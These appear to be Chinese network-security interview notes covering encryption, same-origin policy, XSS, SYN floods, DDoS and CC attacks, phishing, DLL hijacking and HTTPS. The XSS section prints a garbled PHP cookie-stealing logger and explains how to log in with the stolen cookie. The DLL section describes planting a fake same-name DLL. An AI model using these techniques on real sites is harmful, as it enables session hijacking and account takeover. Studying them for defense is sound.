在面試時,網絡安全也會被經常問到,至少要知道常見的攻擊,以及防御措施。在這里 Mark 下,不做深入分析。
對稱加密和非對稱加密
對稱加密:加解密用同一密鑰,密鑰維護復雜 n(n-1)/2,不適合互聯網傳輸密鑰,加解密效率高。應用于加密數據。
非對稱加密:公鑰推不出私鑰,每個用戶一個非對稱密鑰對就可以,適合于互聯網傳輸公鑰,但是加密效率低,應用于數字簽名及加密。
什么是同源策略?
為了防止不同域在用戶瀏覽器中彼此干擾,瀏覽器對從不同來源(域)收到的內容進行隔離。瀏覽器不允許任何舊有腳本訪問一個站點的 cookie,否則,會話容易被劫持。只有發布 cookie 的站點能夠訪問這些 cookie,只有通過該站點返回的頁面所包含或加載的 JavaScript 才能訪問 cookie。
cookie 存在哪里?可以打開嗎?
C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Cookies工具--文件夾選項--查看--將隱藏被保護的文件的對勾去掉就會看到 cookies 文件夾。
xss 如何盜取 cookie?
攻擊者代碼:
.
.$cookie=$_GET['cookie'];.
.$time=date('Y-m-d g:i:s');..$referer=getenv('HTTP_REFERER');.
.$cookietxt=fopen('cookie.txt','a');.
.fwrite($cookietxt,"time:".$time." cookie:".$cookie."referer:".$referer.""); 注意雙引號,容易出錯.
.fclose($cookietxt);.
.?>.腳本端:..獲取到 cookie 后,用 firebug 找到 cookie,新建 cookie加入 cookie,用 referer 來提交,無需輸入帳號密碼直接登錄進去!
xss 有 cookie 一定可以無用戶名密碼登錄嗎?
基本可以。因為把 cookie 的值給瀏覽器,瀏覽器去訪問頁面會用已有的cookie 去訪問,如果 cookie 有效,就會直接進去。
xss 如何防御?
1. 對前端輸入做過濾和編碼:
比如只允許輸入指定類型的字符,比如電話號格式,注冊用戶名限制等,輸入檢查需要在服務器端完成,在前端完成的限制是容易繞過的;對特殊字符進行過濾和轉義;
2. 對輸出做過濾和編碼:在變量值輸出到前端的 HTML 時進行編碼和轉義;
3. 給關鍵 cookie 使用 http-only。
SYN 攻擊原理
SYN 攻擊屬于 DOS 攻擊的一種,它利用 TCP 協議缺陷,通過發送大量的半連接請求,耗費 CPU 和內存資源。
SYN 攻擊除了能影響主機外,還可以危害路由器、防火墻等網絡系統,事實上 SYN 攻擊并不管目標是什么系統,只要這些系統打開 TCP 服務就可以實施。服務器接收到連接請求(SYN=1),將此信息加入未連接隊列,并發送請求包給客戶(syn=k,ack=j+1),此時進入 SYN_RECV 狀態。當服務器未收到客戶端的確認包時,重發請求包,一直到超時,才將此條目從未連接隊列刪除。配合 IP 欺騙,SYN 攻擊能達到很好的效果,通常,客戶端在短時間內偽造大量不存在的 IP 地址,向服務器不斷地發送 syn 包,服務器回復確認包,并等待客戶的確認,由于源地址是不存在的,服務器需要不斷的重發直至超時,這些偽造的 SYN 包將長時間占用未連接隊列,正常的 SYN 請求被丟棄,目標系統運行緩慢,嚴重者引起網絡堵塞甚至系統癱瘓。
什么是網絡釣魚?
網絡釣魚是通過大量發送聲稱來自于銀行或其他知名機構的欺騙性垃圾郵件,意圖引誘收信人給出敏感信息(如用戶名、口令、帳號 ID 、ATMPIN 碼或信用卡詳細信息)的一種攻擊方式。最典型的網絡釣魚攻擊將收信人引誘到一個通過精心設計與目標組織的網站非常相似的釣魚網站上,并獲取收信人在此網站上輸入的個人敏感信息,通常這個攻擊過程不會讓受害者警覺。它常常導引用戶到 URL 與接口外觀與真正網站幾無二致的假冒網站輸入個人數據。就算使用強式加密的 SSL 服務器認證,要偵測網站是否仿冒實際上仍很困難。網釣是一種利用社會工程技術來愚弄用戶的實例。它憑恃的是現行網絡安全技術的低親和度。DDOS
分布式拒絕服務(DDoS:Distributed Denial ofService)攻擊指借助于客戶/服務器技術,將多個計算機聯合起來作為攻擊平臺,對一個或多個目標發動DDoS 攻擊,從而成倍地提高拒絕服務攻擊的威力。
通常,攻擊者使用一個偷竊帳號將 DDoS 主控程序安裝在一個計算機上,在一個設定的時間主控程序將與大量代理程序通訊,代理程序已經被安裝在網絡上的許多計算機上。代理程序收到指令時就發動攻擊。利用客戶/服務器技術,主控程序能在幾秒鐘內激活成百上千次代理程序的運行。
什么是 CC 攻擊?
這個也是知道一些,知道他是 DDos 的變種,正常請求偽造,服務器資源耗盡,最終還是看看百科答案吧:CC 攻擊是 DDOS(分布式拒絕服務)的一種,相比其它的 DDOS 攻擊 CC 似乎更有技術含量一些。這種攻擊你見不到真實源 IP,見不到特別大的異常流量,但造成服務器無法進行正常連接。CC 攻擊的原理就是攻擊者控制某些主機不停地發大量數據包給對方服務器造成服務器資源耗盡,一直到宕機崩潰。
CC 主要是用來攻擊頁面的,每個人都有這樣的體驗:當一個網頁訪問的人數特別多的時候,打開網頁就慢了,CC 就是模擬多個用戶(多少線程就是多少用戶)不停地進行訪問那些需要大量數據操作(就是需要大量 CPU 時間)的頁面,造成服務器資源的浪費,CPU 長時間處于 100%,永遠都有處理不完的連接直至就網絡擁塞,正常的訪問被中止。
Web 服務器被入侵后,怎樣進行排查?
最簡單就是查看下 web 服務器日志 ,看看有沒有異常端口開放,使用安全狗等服務器安全軟件清掃
dll 文件是什么意思,有什么用?
DLL(Dynamic Link Library)文件,即動態鏈接庫,也有人稱作應用程序拓展。Windows 應用程序中,實行了模塊化設計,也就是說并不是每個應用程序都編寫完所有的功能代碼,而是在運行過程中調用相應功能的 DLL,不需運行的功能就不調用,所以大大加快了程序的加載速度和效率,其他應用程序也可以調用相關的 DLL,這樣也有利于促進代碼重用以及內存使用效率,減少了資源占用,而且程序更新時也只要更新相關的 DLL 就可以了。
要注意的是,有些病毒也會偽裝成 DLL 文件,并替換系統的 DLL 文件,需要我們防范。
DLL 劫持原理由于輸入表中只包含 DLL 名而沒有它的路徑名,因此加載程序必須在磁盤上搜索 DLL 文件。
首先會嘗試從當前程序所在的目錄加載 DLL,如果沒找到,則在 Windows 系統目錄中查找,最后是在環境變量中列出的各個目錄下查找。利用這個特點,先偽造一個系統同名的 DLL,提供同樣的輸出表,每個輸出函數轉向真正的系統 DLL。程序調用系統 DLL 時會先調用當前目錄下偽造的 DLL,完成相關功能后,再跳到系統 DLL 同名函數里執行。這個過程用個形象的詞來描述就是系統 DLL 被劫持(hijack)了。
偽造的 dll 制作好后,放到程序當前目錄下,這樣當原程序調用原函數時就調用了偽造的 dll 的同名函數,進入劫持 DLL 的代碼,處理完畢后,再調用原DLL 此函數。如何防止 DLL 劫持DLL 劫持利用系統未知 DLL 的搜索路徑方式,使得程序加載當前目錄下的系統同名 DLL。所以可以告訴系統 DLL 的位置,改變加載系統 DLL 的順序不是當前目錄,而是直接到系統目錄下查找。
Https 的作用
內容加密建立一個信息安全通道,來保證數據傳輸的安全;
身份認證確認網站的真實性
數據完整性防止內容被第三方冒充或者篡改HTTPS 和 HTTP 的區別:https 協議需要到 CA 申請證書。http 是超文本傳輸協議,信息是明文傳輸;https 則是具有安全性的 ssl 加密傳輸協議。http 和 https 使用的是完全不同的連接方式,用的端口也不一樣,前者是 80,后者是 443。http 的連接很簡單,是無狀態的;HTTPS 協議是由 SSL+HTTP 協議構建的可進行加密傳輸、身份認證的網絡協議,比 http 協議安全。